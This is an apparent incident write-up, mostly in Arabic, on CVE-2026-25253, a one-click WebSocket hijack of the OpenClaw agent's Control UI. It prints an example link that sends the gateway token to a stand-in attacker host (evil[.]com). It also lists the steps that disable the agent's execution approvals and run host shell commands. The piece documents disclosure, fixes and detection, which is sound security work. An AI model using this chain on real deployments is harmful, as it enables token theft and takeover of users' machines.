رسم توضيحي تحريري تجريدي بلون كحلي داكن: نافذة متصفح على اليسار يتلوها شريط استعلام متوهج يمتد منحنيًا عبر فجوة داكنة إلى عقدة رمزية كهرمانية، ويستمر خط رفيع من العقدة إلى نقطة نهاية منفصلة على اليمين. النص الوحيد هو تسمية صغيرة تقرأ 'QUERY STRING > TOKEN > GATEWAY'. لا أشخاص، ولا شعارات.
AI Safety Incidents

اختطاف WebSocket في واجهة التحكم OpenClaw: رابط واحد للوصول إلى تنفيذ التعليمات عن بُعد (RCE)

الكاتب

Gideon Frost

تاريخ النشر

أحدث النماذج · 20عرض جميع النماذج →
المعايير: Artificial Analysis · يُحدَّث يوميًا
العودة إلى جميع المقالات

في 29 يناير 2026، نشرت شركة الأمن Ethiack تقريرها عن ثغرة في OpenClaw، وكيل الذكاء الاصطناعي الشخصي مفتوح المصدر الذي يعمل على جهاز المستخدم نفسه ويُدار من لوحة تحكم في المتصفح تُسمى Control UI. كان رابط مُعدّ بعناية قادرًا على جعل تلك اللوحة تسلّم المهاجم رمز مصادقة البوابة، ومعه القدرة على تنفيذ أوامر shell باسم المستخدم المسجّل الدخول. ثم صدر CVE-2026-25253 في 1 فبراير 2026، وصدر إرشاد المشروع الخاص في اليوم التالي، وقيّم كلاهما الثغرة بـ 8.8، عالية. كانت كل عملية نشر سجّل فيها شخص ما الدخول إلى Control UI ضمن النطاق، بما في ذلك الحالات التي لا يمكن الوصول إليها إلا عبر loopback. لا يذكر أي مصدر تمت قراءته لهذا المقال أن الثغرة استُخدمت ضد مستخدم حقيقي. يصنّف الأرشيف الواقعة كحادث بنية تحتية عالي الخطورة بدرجة ثقة B وتاريخ بدقة اليوم هو 29 يناير 2026، إلى جانب مدخلاته الأخرى الخاصة بأمن الوكلاء في Orca AI Incident Archive.

ما الذي فعلته واجهة Control UI برابط URL

OpenClaw وكيل مستضاف ذاتيًا يصل إليه مستخدموه عبر تطبيقات المراسلة ولوحة تحكم ويب، ويعمل بما يسميه تقرير Ethiack "وصولًا كاملًا إلى النظام". كان المشروع قد أُعيدت تسميته أكثر من مرة، حاملًا اسمي Clawdbot وMoltbot قبل OpenClaw، ويسجّل سجل npm أن openclaw، الحزمة التي أُنشئت في 29 يناير 2026 الساعة 11:08 UTC. لوحة التحكم هي الجزء المهم هنا: فقد كانت تحتفظ برمز البوابة في تخزين المتصفح، وفيها كان يكمن العيب.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

هناك حقيقتان متعلقتان بالمتصفح تحوّلان ذلك التسريب إلى استيلاء. لا تطبّق المتصفحات سياسة المصدر نفسه على اتصالات WebSocket بالطريقة التي تطبّقها على طلبات HTTP العادية، ولم تتحقق البوابة من ترويسة Origin عند الترقية، لذا كان بإمكان JavaScript في صفحة زارها الضحية فتح مقبس مباشرة إلى ws://localhost:18789 (depthfirst، 1 فبراير 2026). ولأن متصفح الضحية نفسه هو من ينشئ الاتصال الصادر، وصل الهجوم إلى بوابات مرتبطة بواجهة loopback وغير مرئية من الشبكة. ويقول الإشعار الأمني الخاص بالمشروع: "هذه الثغرة قابلة للاستغلال حتى على النسخ المهيأة للاستماع على loopback فقط، لأن متصفح الضحية هو من يبدأ الاتصال الصادر." وسجّلت Ethiack شرطًا إضافيًا واحدًا في ذلك الوقت: إصدار Chrome المستقر الذي اختبرته لم يكن يتضمن إذن Local Network Access افتراضيًا، لذلك لم يعرض المتصفح أي مطالبة أيضًا.

ما يمنحه الرمز المسروق هو بقية القصة. كان يحمل النطاقين operator.admin وoperator.approvals. وبواسطتهما، يستطيع المهاجم تعطيل موافقات التنفيذ عبر ضبط exec.approvals.set على "off"، ونقل مضيف التنفيذ خارج الحاوية عبر ضبط tools.exec.host على "gateway"، ثم تشغيل أوامر shell على المضيف عبر طلب node.invoke / system.run (depthfirst، 1 فبراير 2026؛ The Hacker News، 2 فبراير 2026). وتلخّص النشرة الاستشارية للبائع النتيجة في جملة واحدة: يستطيع المهاجم "تعديل الإعدادات (بيئة العزل، سياسات الأدوات)، واستدعاء إجراءات ذات امتيازات، مما يحقق تنفيذ تعليمات برمجية عن بُعد (RCE) بنقرة واحدة".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

عُثر عليه في أقل من ساعتين، بواسطة آلة

كان الاكتشاف نفسه تمرينًا بالذكاء الاصطناعي. أطلقت Ethiack وكيلها للاختبار الاختراقي الذاتي، Hackian، على نسخة OpenClaw حية في 26 يناير 2026 الساعة 13:21 UTC. وأكدت الخلل في 15:05 UTC، أي بعد نحو ساعة وأربعين دقيقة، وهو الرقم الذي تصدّر تقرير Ethiack. أبلغت الشركة مشرفي OpenClaw في 18:02 UTC. وتلاه طلب سحب في 27 يناير، ووصل الإصلاح إلى الفرع الرئيسي مساء 28 يناير، وفقًا للجدول الزمني المنشور من Ethiack وسجل الإيداعات في المشروع.

توصل فريق ثانٍ إلى الاستنتاج نفسه بشكل مستقل. نشر ماف ليفين، أحد الباحثين الأمنيين المؤسسين في depthfirst، تقريره الخاص في 1 فبراير 2026، وكتب فيه أن «فريق OpenClaw عالج المشكلة التي أبلغت عنها وأصلحها بسرعة» وأن شخصًا آخر أبلغ عن الخلل نفسه بشكل مستقل. ينسب إشعار GitHub الفضل إلى DepthFirstDisclosures بصفته المُبلِّغ، ويُدرج كلاً من 0xacb وmavlevin ضمن المكتشفين. يحمل حساب 0xacb اسم الملف الشخصي André Baptista، وهو أحد المؤلفين الثلاثة المشاركين في مقالة Ethiack، وهو ما يتسق مع التسلسل الزمني: فقد فُتح طلب السحب الخاص بـ Ethiack بشأن الإصلاح من ذلك الحساب في 27 يناير، ويشكره التزام المشرفين بالاسم. لا يقول أي مصدر اطُّلع عليه لهذا المقال إن الفريقين كانا على علم أحدهما بالآخر قبل النشر، ولا ينازع أيٌّ منهما في الفضل.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

تاريخ السجل، والتواريخ المحيطة به

يؤرّخ الأرشيف هذا المدخل في 29 يناير 2026 بدقة اليوم، ويتطابق ذلك مع اليوم الذي أصبح فيه بحث Ethiack علنيًا. وكان إصلاح الكود قد وصل بالفعل في اليوم السابق. وتبع ذلك الإصدار الموسوم الذي يحمله في الساعات الأولى من 30 يناير بتوقيت UTC، وهو مساء 29 يناير بتوقيت المحيط الهادئ في الولايات المتحدة: تسجّل npm الإصدار 2026.1.29 عند 04:49 UTC من 30 يناير، وإصدار GitHub عند 05:26 UTC. ويعود سجل CVE الخاص بـ MITRE إلى 1 فبراير 2026 عند 22:34 UTC، واستشارة GitHub إلى 2 فبراير عند 23:41 UTC، وتناولت The Hacker News العيب في 2 فبراير.

المصدر المذكور في السجل، وهو متتبع حوادث الوكلاء التابع لـ Permission Protocol، يحتفظ بجدوله الزمني الخاص، وبعض أجزائه متأخرة. فهو يضع إصدار الترقيع في 2026-01-29، بما يتسق مع رقم الإصدار، لكنه يؤرخ "التقارير المبكرة" عن الثغرة بـ 2026-02-12 والكشف العام الواسع عن CVE-2026-25253 بـ 2026-02-26، مع ملخصات إخبارية مستقلة في 2026-03-24. وتقول الوثائق الأساسية خلاف ذلك. فتاريخ 26 فبراير يوافق تحليل SonicWall للترقيع، الذي نُشر بعد ثلاثة أسابيع ونصف من وجود المعرّف، ويقع 12 فبراير بين دراستي البحث وتحليل المورّد لا قبلهما. كما يصف الصف الأخير في الجدول الزمني للمتتبع الآلية بأنها "zero-click"؛ بينما يصفها إشعار المورّد بأنها 1-click، وكل رواية منشورة تصف ضحية عليها فتح رابط. وحيث تختلف تلك التواريخ والتسميات، يتبع هذا المقال سجل CVE وإشعار المورّد ودراستي البحث.

من الجدير الإفصاح عن تحذير واحد بشأن ذلك المصدر. تبيع Permission Protocol بوابة تفويض، ويؤطّر مدخلها الحادثة حول ما كان منتجها سيمنعه. وتصف الصفحة ذلك التقييم بأنه مشروط وتقول عن نفسها إن "المصدر لا يثبت نتيجة منع تحققت بفضل المنتج". أما ما يحمله السجل بدقة فهو تأطيره: كان البحث علنيًا قبل ثلاثة أيام من وجود CVE، ولهذا يصفه الأرشيف بأنه اكتشاف مبكر سبق CVE-2026-25253.

ما الذي تضرَّر فعليًا؟

لا شيء، بحسب ما تسجّله أي مصادر. وتشير الأرشيفات إلى أن حقل real_harm يحمل القيمة false، وهذا متسق مع كل ما نُشر حوله. أصدر المركز البلجيكي للأمن السيبراني تنبيهًا في 2 فبراير 2026 جاء فيه: "لا يوجد حاليًا أي دليل على أن هذه الثغرة قد استُغلت في البرية". ولا يذكر أي من Ethiack أو depthfirst أو SonicWall أو The Hacker News وجود ضحية، أو تثبيت مخترق، أو بيانات مسروقة، ولا يقدّم أي منهم رقمًا لعدد التثبيتات المعرّضة للخطر. ولا يلاحظ Ethiack سوى وجود "أعداد هائلة من النسخ العاملة على خوادم عامة" بإعدادات ضعيفة، وهو انطباع لا إحصاء.

ما هو موجود بالفعل هو كود استغلال عامل. نشرت Ethiack المصدر الكامل للاستغلال إلى جانب تقريرها، وأثبتت سلسلة الاستغلال ضد نسختها الخاصة. ويُظهر تحليل SonicWall في فبراير التقاط التوكن «باستخدام استغلال متاح للعموم». ظهر مستودع إثبات مفهوم لطرف ثالث على GitHub في 9 مارس 2026. كود الاستغلال العام ليس هو نفسه الاستغلال الفعلي، وعلامة الضرر في الأرشيف تتعلق بالأخير.

أحد المصادر أقل إحكامًا من البقية ويستحق التنبيه. يصف قسم المخاطر في الاستشارة البلجيكية أن البوت نفسه يعرض محتوى يتحكم فيه المهاجم بوصفه المُحرِّض، وهذا ليس الآلية الواردة في استشارة المورّد ولا في أيٍّ من تقريرَي البحث: في الثلاثة جميعًا، يُستدرَج متصفح الضحية إلى رابط ويكون الوكيل هو الهدف، لا وسيلة الإيصال. بيان الاستغلال الوارد فيها هو الجزء القابل للاستشهاد؛ أما ملخص الآلية فليس كذلك.

ما الذي تغيّر، وما الذي تركه الإصلاح الأول مفتوحًا

أضاف الإصلاح في 2026.1.29 مربع حوار تأكيد قبل أن يبدّل Control UI إلى عنوان gateway URL مختلف. ويصف الإشعار الأمني للمشروع هذا التغيير بأنه «مع هذا التغيير، يحتاج المستخدمون الآن إلى تأكيد عنوان gateway URL الجديد في الواجهة»، كما أن الملف الذي يعرض مربع الحوار موجود في وسم v2026.1.29. وهذا يرفع كلفة الهجوم من نقرة واحدة إلى نقرة واحدة بالإضافة إلى تأكيد متعمد. لكنه لا يزيل الثقة الأساسية في معامل URL.

جاء التحقق من الأصل، وهو النصف الآخر من السلسلة، لاحقًا. تسجّل تحليلات SonicWall للتصحيحات أن "التحديثات اللاحقة طبّقت ضوابط صارمة للتحقق من الأصل"، وتُدرج أربعة فحوص: رفض ترويسة Origin المفقودة أو غير الصالحة؛ والسماح بمضيف Origin يطابق ترويسة Host؛ والسماح بالاتصال من loopback إلى loopback؛ والسماح بالأصول المذكورة في قائمة allowedOrigins المُهيّأة؛ ورفض كل ما عدا ذلك. ويظهر هذا التسلسل في مصدر المشروع عند وسم v2026.1.29، حيث يقرأ معالج ترقية WebSocket ترويسة Origin ويسجّلها دون تطبيق أي سياسة عليها.

كانت الاستجابات الأخرى استجابات كشف بدلًا من كود. أصدرت SonicWall توقيع IPS رقم 21908 لما تسميه تعرّض OpenClaw للبيانات الحساسة. نصحت depthfirst بالترقية وتدوير رمز البوابة إذا كان يُشتبه في حدوث تعرّض، وهو ما يتبع مباشرةً من الآلية: يظل الرمز المسروق صالحًا حتى يغيّره أحد.

ما هو ثابت، وما هو غير ثابت

ثبت، استنادًا إلى وثائق أولية: أن مسار التعليمات البرمجية المعرّض للثغرة كان يقرأ gatewayUrl من سلسلة الاستعلام ويتصل تلقائيًا دون تحقق؛ وأن إطار الاتصال كان يحمل الرمز المخزّن؛ وأن البوابة لم تتحقق من أصل WebSocket، لذا كان بإمكان متصفح على أي موقع الوصول إلى loopback؛ وأن الرمز كان يحمل نطاقات صلاحيات المسؤول والموافقة؛ وأن الإصدارات السابقة لـ 2026.1.29 كانت متأثرة؛ وأن فريقين اكتشفا العيب بشكل مستقل، أحدهما وكيل مستقل يعمل من الخارج.

لم يثبت: أن أي شخص استغلها، وعدد عمليات التثبيت التي كانت قابلة للوصول في ذلك الوقت، وما إذا كان مربع حوار التأكيد وحده سيهزم مهاجمًا مصممًا. تعكس درجة B في الأرشيف قاعدة استشهادات من متتبع ثانوي واحد بدلاً من أي شك في الآليات، والسجل غير موسوم بأنه محل نزاع. هذه الآليات تؤكدها الاستشارة الأمنية للبائع، وسجل CVE لدى MITRE، وكتابتان بحثيتان مستقلتان، وهو أكثر مما يدّعيه السجل نفسه بمفرده.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

يلصف الملخص المكوّن من سطر واحد في الأرشيف هذا بأنه اكتشاف مبكر سبق CVE-2026-25253، وهذه هي الطريقة الصحيحة لقراءة المدخل: سجل لخلل اكتُشف وأُبلغ عنه وأُصلح قبل أن يحصل على معرّف، في منتج صُمم لتشغيل الأوامر على الجهاز الذي يعمل عليه. وتصف CVE التي تلته السلوكيات الثلاث نفسها: معامل استعلام، واتصال غير مُستحثّ، ورمز في المصافحة، ولا يضع أي مصدر قُرئ لهذا المقال أي شخص على الطرف الآخر منه.